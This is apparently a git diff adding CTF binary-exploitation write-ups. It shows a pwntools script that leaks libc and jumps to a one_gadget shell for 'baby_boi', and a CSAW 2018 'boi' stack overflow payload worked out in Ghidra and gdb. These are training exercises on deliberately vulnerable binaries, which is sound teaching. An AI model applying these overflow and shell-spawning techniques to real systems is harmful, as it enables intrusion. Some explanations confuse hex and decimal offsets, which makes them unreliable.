|
||||
Usage: one_gadget [options]
|
||||
-b, --build-id BuildID BuildID[sha1] of libc.
|
||||
-f, --[no-]force-file Force search gadgets in file instead of build id first.
|
||||
-l, --level OUTPUT_LEVEL The output level.
|
||||
OneGadget automatically selects gadgets with higher successful probability.
|
||||
Increase this level to ask OneGadget show more gadgets it found.
|
||||
Default: 0
|
||||
-n, --near FUNCTIONS/FILE Order gadgets by their distance to the given functions or to the GOT functions of the given file.
|
||||
-r, --[no-]raw Output gadgets offset only, split with one space.
|
||||
-s, --script exploit-script Run exploit script with all possible gadgets.
|
||||
The script will be run as 'exploit-script $offset'.
|
||||
--info BuildID Show version information given BuildID.
|
||||
--base BASE_ADDRESS The base address of libc.
|
||||
Default: 0
|
||||
--version Current gem version.
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/21 ] [~]
|
||||
→ echo $PATH
|
||||
/usr/local/bin:/usr/bin:/bin:/usr/local/sbin:/usr/lib/jvm/default/bin:/usr/bin/site_perl:/usr/bin/vendor_perl:/usr/bin/core_perl:/var/lib/snapd/snap/bin
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/19 ] [~]
|
||||
→ sudo ln -s /home/nothing/.local/share/gem/ruby/2.7.0/bin/one_gadget /usr/local/bin/one_gadget
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/19 ] [~]
|
||||
→ zsh
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/19 ] [~]
|
||||
→ one_gadget
|
||||
Usage: one_gadget [options]
|
||||
-b, --build-id BuildID BuildID[sha1] of libc.
|
||||
-f, --[no-]force-file Force search gadgets in file instead of build id first.
|
||||
-l, --level OUTPUT_LEVEL The output level.
|
||||
OneGadget automatically selects gadgets with higher successful probability.
|
||||
Increase this level to ask OneGadget show more gadgets it found.
|
||||
Default: 0
|
||||
-n, --near FUNCTIONS/FILE Order gadgets by their distance to the given functions or to the GOT functions of the given file.
|
||||
-r, --[no-]raw Output gadgets offset only, split with one space.
|
||||
-s, --script exploit-script Run exploit script with all possible gadgets.
|
||||
The script will be run as 'exploit-script $offset'.
|
||||
--info BuildID Show version information given BuildID.
|
||||
--base BASE_ADDRESS The base address of libc.
|
||||
Default: 0
|
||||
--version Current gem version.
|
||||
|
||||
|
||||
|
||||
|
||||
Now that's done, let's run one_gadget on the libc library:
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/bboi]
|
||||
→ one_gadget libc-2.27.so
|
||||
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
|
||||
constraints:
|
||||
rsp & 0xf == 0
|
||||
rcx == NULL
|
||||
|
||||
0x4f322 execve("/bin/sh", rsp+0x40, environ)
|
||||
constraints:
|
||||
[rsp+0x40] == NULL
|
||||
|
||||
0x10a38c execve("/bin/sh", rsp+0x70, environ)
|
||||
constraints:
|
||||
[rsp+0x70] == NULL
|
||||
|
||||
|
||||
|
||||
So here we see that we can leverage the libc infoleak with the printf statement to the libc printf which we know the libc version, we know the address space of the libc. For which onegadget to pick, it's usually trial and error to see what conditions will work. So let's make our exploit as follows:
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/bboi]
|
||||
→ vim exploit.py
|
||||
|
||||
|
||||
|
||||
|
||||
from pwn import *
|
||||
|
||||
# Establish the target
|
||||
target = process('./baby_boi', env={"LD_PRELOAD":"./libc-2.27.so"})
|
||||
libc = ELF('libc-2.27.so')
|
||||
|
||||
print(target.recvuntil("ere I am: "))
|
||||
|
||||
# Scan in the infoleak
|
||||
leak = target.recvline()
|
||||
leak = leak.strip(b"\n")
|
||||
|
||||
base = int(leak, 16) - libc.symbols['printf']
|
||||
|
||||
print("wooo:" + hex(base))
|
||||
|
||||
# Calculate oneshot gadget
|
||||
oneshot = base + 0x4f322
|
||||
|
||||
payload = b""
|
||||
payload += b"\x00"*0x28 # Offset to oneshot gadget
|
||||
payload += p64(oneshot) # Oneshot gadget
|
||||
|
||||
# Send the payload
|
||||
target.sendline(payload)
|
||||
|
||||
target.interactive()
|
||||
|
||||
|
||||
|
||||
Now execute it and we see the following:
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/1 ] [binexp/2/bboi]
|
||||
→ python3 exploit.py
|
||||
[+] Starting local process './baby_boi': pid 540529
|
||||
[*] '/home/nothing/binexp/2/bboi/libc-2.27.so'
|
||||
Arch: amd64-64-little
|
||||
RELRO: Partial RELRO
|
||||
Stack: Canary found
|
||||
NX: NX enabled
|
||||
PIE: PIE enabled
|
||||
Hello!
|
||||
Here I am:
|
||||
wooo:0x7fedeb22e012
|
||||
[*] Switching to interactive mode
|
||||
$ cat flag.txt
|
||||
flag{baby_boi_dodooo_doo_doo_dooo}
|
||||
|
||||
|
||||
And that's it! we have been able to spawn a shell and print out the flag.
|
||||
|
||||
## Title
|
||||
|
||||
text
|
||||
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
||||
## Title
|
||||
|
||||
text
|
||||
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
727
2/boi.md
Normal file
|
@ -0,0 +1,727 @@
|
|||
# CSAW 2018 Quals Boi
|
||||
|
||||
## Downloading the binary file
|
||||
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/2]
|
||||
→ wget https://github.com/guyinatuxedo/nightmare/raw/master/modules/04-bof_variable/csaw18_boi/boi
|
||||
--2021-02-22 21:57:40-- https://github.com/guyinatuxedo/nightmare/raw/master/modules/04-bof_variable/csaw18_boi/boi
|
||||
Resolving github.com (github.com)... 140.82.121.4
|
||||
Connecting to github.com (github.com)|140.82.121.4|:443... connected.
|
||||
HTTP request sent, awaiting response... 302 Found
|
||||
Location: https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/04-bof_variable/csaw18_boi/boi [following]
|
||||
--2021-02-22 21:57:41-- https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/04-bof_variable/csaw18_boi/boi
|
||||
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.108.133, 185.199.109.133, 185.199.111.133, ...
|
||||
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.108.133|:443... connected.
|
||||
HTTP request sent, awaiting response... 200 OK
|
||||
Length: 8792 (8.6K) [application/octet-stream]
|
||||
Saving to: ‘boi’
|
||||
|
||||
boi 100%[===============================================================================>] 8.59K --.-KB/s in 0s
|
||||
|
||||
2021-02-22 21:57:41 (31.4 MB/s) - ‘boi’ saved [8792/8792]
|
||||
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/2]
|
||||
→ file boi
|
||||
boi: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=1537584f3b2381e1b575a67cba5fbb87878f9711, not stripped
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/2]
|
||||
→ chmod +x boi
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
||||
## Solution
|
||||
|
||||
first things first, let's execute the binary to see what it does:
|
||||
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/2]
|
||||
→ ./boi
|
||||
Are you a big boiiiii??
|
||||
yes
|
||||
Tue 23 Feb 2021 08:53:13 AM CET
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/2]
|
||||
→ ./boi
|
||||
Are you a big boiiiii??
|
||||
no
|
||||
Tue 23 Feb 2021 08:53:17 AM CET
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/2]
|
||||
→ date
|
||||
Tue 23 Feb 2021 08:53:22 AM CET
|
||||
|
||||
|
||||
it seems the binary checks for our input, and then executes a command, in this case it's 'date' let's use pwn to check the security of that binary:
|
||||
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/2]
|
||||
→ pwn checksec boi
|
||||
[*] '/home/nothing/binexp/2/boi'
|
||||
Arch: amd64-64-little
|
||||
RELRO: Partial RELRO
|
||||
Stack: Canary found
|
||||
NX: NX enabled
|
||||
PIE: No PIE (0x400000)
|
||||
|
||||
|
||||
here we see that this is a 64bit binary with a Stack Canary, and a non-executable stack (which are 2 binary mitigations). Let's take a look at it with ghidra:
|
||||
|
||||

|
||||
|
||||
which gives us the following code for the main function:
|
||||
|
||||
|
||||
undefined8 main(void)
|
||||
|
||||
{
|
||||
long in_FS_OFFSET;
|
||||
undefined8 local_38;
|
||||
undefined8 local_30;
|
||||
undefined4 local_28;
|
||||
int iStack36;
|
||||
undefined4 local_20;
|
||||
long local_10;
|
||||
|
||||
local_10 = *(long *)(in_FS_OFFSET + 0x28);
|
||||
local_38 = 0;
|
||||
local_30 = 0;
|
||||
local_20 = 0;
|
||||
local_28 = 0;
|
||||
iStack36 = -0x21524111;
|
||||
puts("Are you a big boiiiii??");
|
||||
read(0,&local;_38,0x18);
|
||||
if (iStack36 == -0x350c4512) {
|
||||
run_cmd("/bin/bash");
|
||||
}
|
||||
else {
|
||||
run_cmd("/bin/date");
|
||||
}
|
||||
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
|
||||
/* WARNING: Subroutine does not return */
|
||||
__stack_chk_fail();
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
|
||||
Now in this main function, we see that our text input gets put into the local_38 variable, however there is something else here, there is an if statement, that wants the iStack36 value to be equal to a certain hexadecimal value. if it is not equal to that hex value, it will print out the date like we saw earlier, if it is actually the correct hex value, it will run /bin/bash. The important thing to note here is that the binary scans for 18 bytes of our data, or 18 ascii characters.
|
||||
|
||||
Now if we look at what our iStack value is declared as we get the following:
|
||||
|
||||
|
||||
iStack36 = -0x21524111;
|
||||
|
||||
|
||||
|
||||
0040067e c7 45 e4 MOV dword ptr [RBP + local_28+0x4],0xdeadbeef
|
||||
ef be ad de
|
||||
|
||||
|
||||
|
||||
and then later on when iStack36 gets compared the second value:
|
||||
|
||||
|
||||
if (iStack36 == -0x350c4512) {
|
||||
run_cmd("/bin/bash");
|
||||
}
|
||||
|
||||
|
||||
004006a8 3d ee ba CMP EAX,0xcaf3baee
|
||||
f3 ca
|
||||
004006ad 75 0c JNZ LAB_004006bb
|
||||
004006af bf 7c 07 MOV EDI=>s_/bin/bash_0040077c,s_/bin/bash_0040077c = "/bin/bash"
|
||||
40 00
|
||||
004006b4 e8 6d ff CALL run_cmd undefined run_cmd()
|
||||
ff ff
|
||||
|
||||
|
||||
|
||||
so, iStack36 first gets assignd the 0xdeadbeef value, and then it gets compared to 0xcaf3baee. Now the next step is to look at the stack layout in ghidra, you can click on any variable where they are declared:
|
||||
|
||||

|
||||
|
||||
|
||||
**************************************************************
|
||||
* FUNCTION *
|
||||
**************************************************************
|
||||
undefined main()
|
||||
undefined AL:1
|
||||
undefined8 Stack[-0x10]:8 local_10 XREF[2]: 00400659(W),
|
||||
004006ca(R)
|
||||
undefined4 Stack[-0x20]:4 local_20 XREF[1]: 00400677(W)
|
||||
undefined8 Stack[-0x28]:8 local_28 XREF[1,2]: 0040066f(W),
|
||||
0040067e(W),
|
||||
004006a5(R)
|
||||
undefined8 Stack[-0x30]:8 local_30 XREF[1]: 00400667(W)
|
||||
undefined8 Stack[-0x38]:8 local_38 XREF[2]: 0040065f(W),
|
||||
0040068f(*)
|
||||
undefined4 Stack[-0x3c]:4 local_3c XREF[1]: 00400649(W)
|
||||
undefined8 Stack[-0x48]:8 local_48 XREF[1]: 0040064c(W)
|
||||
main XREF[5]: Entry Point(*),
|
||||
_start:0040054d(*),
|
||||
_start:0040054d(*), 004007b4,
|
||||
00400868(*)
|
||||
00400641 55 PUSH RBP
|
||||
|
||||
|
||||
|
||||
Now according to ghidra, our input (local_38) is stored at offset -0x38 and we see that is stored at offset -0x28 this means that theres is a 0x10 byte difference between the 2 values.
|
||||
|
||||
Since we can write 0x18 bytes or characters, that measn we can fill up the 0x10 byte difference and overwrite other values, most importantly the value being checked (iStack36). So let's take a look at it from gdb-gef :
|
||||
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/2]
|
||||
→ gdb ./boi
|
||||
GNU gdb (Debian 10.1-1.7) 10.1.90.20210103-git
|
||||
Copyright (C) 2021 Free Software Foundation, Inc.
|
||||
License GPLv3+: GNU GPL version 3 or later
|
||||
This is free software: you are free to change and redistribute it.
|
||||
There is NO WARRANTY, to the extent permitted by law.
|
||||
Type "show copying" and "show warranty" for details.
|
||||
This GDB was configured as "x86_64-linux-gnu".
|
||||
Type "show configuration" for configuration details.
|
||||
For bug reporting instructions, please see:
|
||||
.
|
||||
Find the GDB manual and other documentation resources online at:
|
||||
.
|
||||
|
||||
For help, type "help".
|
||||
Type "apropos word" to search for commands related to "word"...
|
||||
GEF for linux ready, type `gef' to start, `gef config' to configure
|
||||
92 commands loaded for GDB 10.1.90.20210103-git using Python engine 3.9
|
||||
Reading symbols from ./boi...
|
||||
(No debugging symbols found in ./boi)
|
||||
gef➤
|
||||
|
||||
|
||||
|
||||
Now from here, we set a breakpoint at *0x4006a5 because this is where
|
||||
|
||||

|
||||
|
||||
|
||||
gef➤ b *0x4006a5
|
||||
Breakpoint 1 at 0x4006a5
|
||||
|
||||
gef➤ r
|
||||
Starting program: /home/nothing/binexp/2/boi
|
||||
Are you a big boiiiii??
|
||||
yes
|
||||
|
||||
|
||||
Here we use b to set the breakpoint, and r to run the binary, put in our text, and we get this breakpoint output:
|
||||
|
||||
|
||||
Breakpoint 1, 0x00000000004006a5 in main ()
|
||||
[ Legend: Modified register | Code | Heap | Stack | String ]
|
||||
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
|
||||
$rax : 0x4
|
||||
$rbx : 0x0
|
||||
$rcx : 0x00007ffff7edce8e → 0x5a77fffff0003d48 ("H="?)
|
||||
$rdx : 0x18
|
||||
$rsp : 0x00007fffffffe0f0 → 0x00007fffffffe228 → 0x00007fffffffe500 → "/home/nothing/binexp/2/boi"
|
||||
$rbp : 0x00007fffffffe130 → 0x00000000004006e0 → <__libc_csu_init+0> push r15
|
||||
$rsi : 0x00007fffffffe100 → 0x000000000a736579 ("yes\n"?)
|
||||
$rdi : 0x0
|
||||
$rip : 0x00000000004006a5 → mov eax, DWORD PTR [rbp-0x1c]
|
||||
$r8 : 0x18
|
||||
$r9 : 0x00007ffff7facbe0 → 0x00000000006026a0 → 0x0000000000000000
|
||||
$r10 : 0xfffffffffffff28b
|
||||
$r11 : 0x246
|
||||
$r12 : 0x0000000000400530 → <_start+0> xor ebp, ebp
|
||||
$r13 : 0x0
|
||||
$r14 : 0x0
|
||||
$r15 : 0x0
|
||||
$eflags: [zero CARRY parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
|
||||
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
|
||||
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
|
||||
0x00007fffffffe0f0│+0x0000: 0x00007fffffffe228 → 0x00007fffffffe500 → "/home/nothing/binexp/2/boi" ← $rsp
|
||||
0x00007fffffffe0f8│+0x0008: 0x000000010040072d
|
||||
0x00007fffffffe100│+0x0010: 0x000000000a736579 ("yes\n"?) ← $rsi
|
||||
0x00007fffffffe108│+0x0018: 0x0000000000000000
|
||||
0x00007fffffffe110│+0x0020: 0xdeadbeef00000000
|
||||
0x00007fffffffe118│+0x0028: 0x0000000000000000
|
||||
0x00007fffffffe120│+0x0030: 0x00007fffffffe220 → 0x0000000000000001
|
||||
0x00007fffffffe128│+0x0038: 0xa4430c55074e2b00
|
||||
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
|
||||
0x400698 mov rsi, rax
|
||||
0x40069b mov edi, 0x0
|
||||
0x4006a0 call 0x400500
|
||||
●→ 0x4006a5 mov eax, DWORD PTR [rbp-0x1c]
|
||||
0x4006a8 cmp eax, 0xcaf3baee
|
||||
0x4006ad jne 0x4006bb
|
||||
0x4006af mov edi, 0x40077c
|
||||
0x4006b4 call 0x400626
|
||||
0x4006b9 jmp 0x4006c5
|
||||
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
|
||||
[#0] Id 1, Name: "boi", stopped 0x4006a5 in main (), reason: BREAKPOINT
|
||||
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
|
||||
[#0] 0x4006a5 → main()
|
||||
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
|
||||
gef➤search-pattern yes
|
||||
|
||||
|
||||
|
||||
|
||||
now the thing is we can't just search-pattern the yes word we used as input, we need something more specific, so let's redo it:
|
||||
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/2]
|
||||
→ gdb ./boi
|
||||
GNU gdb (Debian 10.1-1.7) 10.1.90.20210103-git
|
||||
Copyright (C) 2021 Free Software Foundation, Inc.
|
||||
License GPLv3+: GNU GPL version 3 or later
|
||||
This is free software: you are free to change and redistribute it.
|
||||
There is NO WARRANTY, to the extent permitted by law.
|
||||
Type "show copying" and "show warranty" for details.
|
||||
This GDB was configured as "x86_64-linux-gnu".
|
||||
Type "show configuration" for configuration details.
|
||||
For bug reporting instructions, please see:
|
||||
.
|
||||
Find the GDB manual and other documentation resources online at:
|
||||
.
|
||||
|
||||
For help, type "help".
|
||||
Type "apropos word" to search for commands related to "word"...
|
||||
GEF for linux ready, type `gef' to start, `gef config' to configure
|
||||
92 commands loaded for GDB 10.1.90.20210103-git using Python engine 3.9
|
||||
Reading symbols from ./boi...
|
||||
(No debugging symbols found in ./boi)
|
||||
gef➤ b *0x4006a5
|
||||
Breakpoint 1 at 0x4006a5
|
||||
gef➤ r
|
||||
Starting program: /home/nothing/binexp/2/boi
|
||||
Are you a big boiiiii??
|
||||
11223344
|
||||
|
||||
Breakpoint 1, 0x00000000004006a5 in main ()
|
||||
[ Legend: Modified register | Code | Heap | Stack | String ]
|
||||
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
|
||||
$rax : 0x9
|
||||
$rbx : 0x0
|
||||
$rcx : 0x00007ffff7edce8e → 0x5a77fffff0003d48 ("H="?)
|
||||
$rdx : 0x18
|
||||
$rsp : 0x00007fffffffe0f0 → 0x00007fffffffe228 → 0x00007fffffffe500 → "/home/nothing/binexp/2/boi"
|
||||
$rbp : 0x00007fffffffe130 → 0x00000000004006e0 → <__libc_csu_init+0> push r15
|
||||
$rsi : 0x00007fffffffe100 → "11223344\n"
|
||||
$rdi : 0x0
|
||||
$rip : 0x00000000004006a5 → mov eax, DWORD PTR [rbp-0x1c]
|
||||
$r8 : 0x18
|
||||
$r9 : 0x00007ffff7facbe0 → 0x00000000006026a0 → 0x0000000000000000
|
||||
$r10 : 0xfffffffffffff28b
|
||||
$r11 : 0x246
|
||||
$r12 : 0x0000000000400530 → <_start+0> xor ebp, ebp
|
||||
$r13 : 0x0
|
||||
$r14 : 0x0
|
||||
$r15 : 0x0
|
||||
$eflags: [zero CARRY PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
|
||||
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
|
||||
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
|
||||
0x00007fffffffe0f0│+0x0000: 0x00007fffffffe228 → 0x00007fffffffe500 → "/home/nothing/binexp/2/boi" ← $rsp
|
||||
0x00007fffffffe0f8│+0x0008: 0x000000010040072d
|
||||
0x00007fffffffe100│+0x0010: "11223344\n" ← $rsi
|
||||
0x00007fffffffe108│+0x0018: 0x000000000000000a
|
||||
0x00007fffffffe110│+0x0020: 0xdeadbeef00000000
|
||||
0x00007fffffffe118│+0x0028: 0x0000000000000000
|
||||
0x00007fffffffe120│+0x0030: 0x00007fffffffe220 → 0x0000000000000001
|
||||
0x00007fffffffe128│+0x0038: 0xd7f7b092c102bd00
|
||||
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
|
||||
0x400698 mov rsi, rax
|
||||
0x40069b mov edi, 0x0
|
||||
0x4006a0 call 0x400500
|
||||
●→ 0x4006a5 mov eax, DWORD PTR [rbp-0x1c]
|
||||
0x4006a8 cmp eax, 0xcaf3baee
|
||||
0x4006ad jne 0x4006bb
|
||||
0x4006af mov edi, 0x40077c
|
||||
0x4006b4 call 0x400626
|
||||
0x4006b9 jmp 0x4006c5
|
||||
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
|
||||
[#0] Id 1, Name: "boi", stopped 0x4006a5 in main (), reason: BREAKPOINT
|
||||
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
|
||||
[#0] 0x4006a5 → main()
|
||||
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
|
||||
gef➤ search-pattern 11223344
|
||||
[+] Searching '11223344' in memory
|
||||
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw-
|
||||
0x7fffffffe100 - 0x7fffffffe10a → "11223344\n"
|
||||
|
||||
|
||||
|
||||
Now from here we used the input '11223344' and gdb managed to find where it was located, so let's get more info on the **0x7fffffffe100** adress:
|
||||
|
||||
|
||||
gef➤ x/10g 0x7fffffffe100
|
||||
0x7fffffffe100: 0x3434333332323131 0xa
|
||||
|
||||
**0x7fffffffe110: 0xdeadbeef00000000 0x0**
|
||||
|
||||
0x7fffffffe120: 0x7fffffffe220 0xd7f7b092c102bd00
|
||||
0x7fffffffe130: 0x4006e0 0x7ffff7e14d0a
|
||||
0x7fffffffe140: 0x7fffffffe228 0x100000000
|
||||
|
||||
|
||||
From that output you can see the 0xdeadbeef value appearing at the 10 bytes offset we mentionned earlier.
|
||||
|
||||
|
||||
0040067e c7 45 e4 MOV dword ptr [RBP + local_28+0x4],0xdeadbeef
|
||||
ef be ad de
|
||||
|
||||
|
||||
|
||||
Now from here we will use python to create a specific payload, since we know that our input 11223344 is 10 bytes away, we will give the input of 10 zeroes, +p32(0xcaf3baee). We need the hex address to be in 'least endian' (least significant byte first) so this means we will write caf3baee in reverse like this : ee ba f3 ca. That is because this is an ELF binary, we saw it at the beginning of this writeup, and because of how the elf will read in the data, so we have to pack it in the correct order to be read properly:
|
||||
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/2]
|
||||
→ python -c 'print "0"*0x10 + "\xee\xba\xf3\xca"' > input
|
||||
|
||||
|
||||
|
||||
now here you see that we create a file called 'input' that has 10 bytes worth of 0 characters, so essentially we have 10 zero characters and then afterwards we have the caf3baee hex value written in reverse, or in 'least endian'. We will use this input to feed into our binary file, and then we will see if we successfully managed to overwrite the data we wanted:
|
||||
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/2]
|
||||
→ gdb ./boi
|
||||
|
||||
GNU gdb (Debian 10.1-1.7) 10.1.90.20210103-git
|
||||
Copyright (C) 2021 Free Software Foundation, Inc.
|
||||
License GPLv3+: GNU GPL version 3 or later
|
||||
This is free software: you are free to change and redistribute it.
|
||||
There is NO WARRANTY, to the extent permitted by law.
|
||||
Type "show copying" and "show warranty" for details.
|
||||
This GDB was configured as "x86_64-linux-gnu".
|
||||
Type "show configuration" for configuration details.
|
||||
For bug reporting instructions, please see:
|
||||
.
|
||||
Find the GDB manual and other documentation resources online at:
|
||||
.
|
||||
|
||||
For help, type "help".
|
||||
Type "apropos word" to search for commands related to "word"...
|
||||
GEF for linux ready, type `gef' to start, `gef config' to configure
|
||||
92 commands loaded for GDB 10.1.90.20210103-git using Python engine 3.9
|
||||
Reading symbols from ./boi...
|
||||
(No debugging symbols found in ./boi)
|
||||
|
||||
gef➤ b *0x4006a5
|
||||
Breakpoint 1 at 0x4006a5
|
||||
|
||||
gef➤ r < input
|
||||
Starting program: /home/nothing/binexp/2/boi < input
|
||||
Are you a big boiiiii??
|
||||
|
||||
Breakpoint 1, 0x00000000004006a5 in main ()
|
||||
[ Legend: Modified register | Code | Heap | Stack | String ]
|
||||
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
|
||||
$rax : 0x15
|
||||
$rbx : 0x0
|
||||
$rcx : 0x00007ffff7edce8e → 0x5a77fffff0003d48 ("H="?)
|
||||
$rdx : 0x18
|
||||
$rsp : 0x00007fffffffe0f0 → 0x00007fffffffe228 → 0x00007fffffffe500 → "/home/nothing/binexp/2/boi"
|
||||
$rbp : 0x00007fffffffe130 → 0x00000000004006e0 → <__libc_csu_init+0> push r15
|
||||
$rsi : 0x00007fffffffe100 → 0x3030303030303030 ("00000000"?)
|
||||
$rdi : 0x0
|
||||
$rip : 0x00000000004006a5 → mov eax, DWORD PTR [rbp-0x1c]
|
||||
$r8 : 0x18
|
||||
$r9 : 0x00007ffff7facbe0 → 0x00000000006026a0 → 0x0000000000000000
|
||||
$r10 : 0xfffffffffffff28b
|
||||
$r11 : 0x246
|
||||
$r12 : 0x0000000000400530 → <_start+0> xor ebp, ebp
|
||||
$r13 : 0x0
|
||||
$r14 : 0x0
|
||||
$r15 : 0x0
|
||||
$eflags: [zero CARRY parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
|
||||
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
|
||||
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
|
||||
0x00007fffffffe0f0│+0x0000: 0x00007fffffffe228 → 0x00007fffffffe500 → "/home/nothing/binexp/2/boi" ← $rsp
|
||||
0x00007fffffffe0f8│+0x0008: 0x000000010040072d
|
||||
0x00007fffffffe100│+0x0010: 0x3030303030303030 ← $rsi
|
||||
0x00007fffffffe108│+0x0018: 0x3030303030303030
|
||||
0x00007fffffffe110│+0x0020: 0xdeadbe0acaf3baee
|
||||
0x00007fffffffe118│+0x0028: 0x0000000000000000
|
||||
0x00007fffffffe120│+0x0030: 0x00007fffffffe220 → 0x0000000000000001
|
||||
0x00007fffffffe128│+0x0038: 0xeea3ebadbb735f00
|
||||
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
|
||||
0x400698 mov rsi, rax
|
||||
0x40069b mov edi, 0x0
|
||||
0x4006a0 call 0x400500
|
||||
●→ 0x4006a5 mov eax, DWORD PTR [rbp-0x1c]
|
||||
0x4006a8 cmp eax, 0xcaf3baee
|
||||
0x4006ad jne 0x4006bb
|
||||
0x4006af mov edi, 0x40077c
|
||||
0x4006b4 call 0x400626
|
||||
0x4006b9 jmp 0x4006c5
|
||||
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
|
||||
[#0] Id 1, Name: "boi", stopped 0x4006a5 in main (), reason: BREAKPOINT
|
||||
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
|
||||
[#0] 0x4006a5 → main()
|
||||
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
|
||||
|
||||
gef➤ search-pattern 0000000000
|
||||
[+] Searching '0000000000' in memory
|
||||
[+] In '/usr/lib/x86_64-linux-gnu/libc-2.31.so'(0x7ffff7f5e000-0x7ffff7fa8000), permission=r--
|
||||
0x7ffff7f7fd50 - 0x7ffff7f7fd60 → "0000000000000000"
|
||||
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw-
|
||||
0x7fffffffe100 - 0x7fffffffe10a → "0000000000[...]"
|
||||
|
||||
gef➤ x/10g 0x7fffffffe100
|
||||
0x7fffffffe100: 0x3030303030303030 0x3030303030303030
|
||||
0x7fffffffe110: 0xdeadbe0acaf3baee 0x0
|
||||
0x7fffffffe120: 0x7fffffffe220 0xeea3ebadbb735f00
|
||||
0x7fffffffe130: 0x4006e0 0x7ffff7e14d0a
|
||||
0x7fffffffe140: 0x7fffffffe228 0x100000000
|
||||
|
||||
|
||||
|
||||
|
||||
Here we can see at address 0x7fffffffe110 that the previous value of 0xdeadbeef got partially overwritten by our values caf3baee, with an offset of 8 hexadecimals, and for some reason we need to adjust the payload with only 4 hexadimals (from 10 to 14):
|
||||
|
||||
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/2 ] [~/binexp/2]
|
||||
→ python -c 'print "0"*0x10 + "\xee\xba\xf3\xca"'
|
||||
0000000000000000
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/2 ] [~/binexp/2]
|
||||
→ python -c 'print "0"*0x14 + "\xee\xba\xf3\xca"'
|
||||
00000000000000000000
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/2 ] [~/binexp/2]
|
||||
→ python -c 'print "0"*0x14 + "\xee\xba\xf3\xca"' > input
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/2]
|
||||
→ gdb ./boi
|
||||
GNU gdb (Debian 10.1-1.7) 10.1.90.20210103-git
|
||||
Copyright (C) 2021 Free Software Foundation, Inc.
|
||||
License GPLv3+: GNU GPL version 3 or later
|
||||
This is free software: you are free to change and redistribute it.
|
||||
There is NO WARRANTY, to the extent permitted by law.
|
||||
Type "show copying" and "show warranty" for details.
|
||||
This GDB was configured as "x86_64-linux-gnu".
|
||||
Type "show configuration" for configuration details.
|
||||
For bug reporting instructions, please see:
|
||||
.
|
||||
